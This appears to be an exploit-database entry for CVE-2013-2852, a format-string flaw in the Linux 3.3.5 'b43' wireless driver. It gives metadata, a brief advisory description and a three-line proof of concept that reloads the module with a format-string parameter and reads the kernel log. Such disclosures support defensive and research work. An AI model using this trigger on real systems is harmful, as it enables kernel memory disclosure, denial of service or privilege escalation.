Linux Kernel 3.3.5 - 'b43' Wireless Driver Privilege Escalation

Author: Kees Cook
type: local
platform: linux
port: 0
date_added: 2013-06-07
date_updated: 2015-10-29
verified: 1
codes: CVE-2013-2852;OSVDB-94034
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/60410/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit the issue to execute arbitrary code with kernel privileges or to crash the kernel, effectively denying service to legitimate users.

# rmmod b43
# modprobe b43 fwpostfix=AA%xBB
# dmesg